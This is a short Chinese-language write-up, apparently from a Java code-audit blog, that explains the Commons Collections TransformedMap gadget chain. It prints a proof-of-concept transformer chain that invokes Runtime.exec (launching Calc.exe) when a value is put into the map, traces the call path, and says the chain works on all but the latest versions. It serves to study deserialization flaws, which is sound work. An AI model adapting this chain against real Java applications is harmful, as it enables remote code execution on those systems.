0x00 前言
CC链最基础的就是迭代链:Java代码审计——Commons Collections 迭代调用链,核心就是 ChainedTransformer的Transformer方法。那么TransformedMap就是可以调用此方法的一条链。
0x01 TransformedMap调用链
在CC包中, 有TransformedMap这样一个类,他在进行put,checkSetValue等方法时,可以触发transform方法,如下图所示。
1. 先上poc:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");
可以看到这里我们手工触发,先使用decorate进行赋值,然后使用put进行触发。
跟一下put触发过程:
- TransformedMap.put:
- TransformedMap.transformValue
- ChainedTransformer.transform
- 迭代链
- InvokerTransformertransform
- …
2.总结
TransformedMap链实际上就类似于一个加强形的一个map
0x03 使用条件
- 除最新版本无限制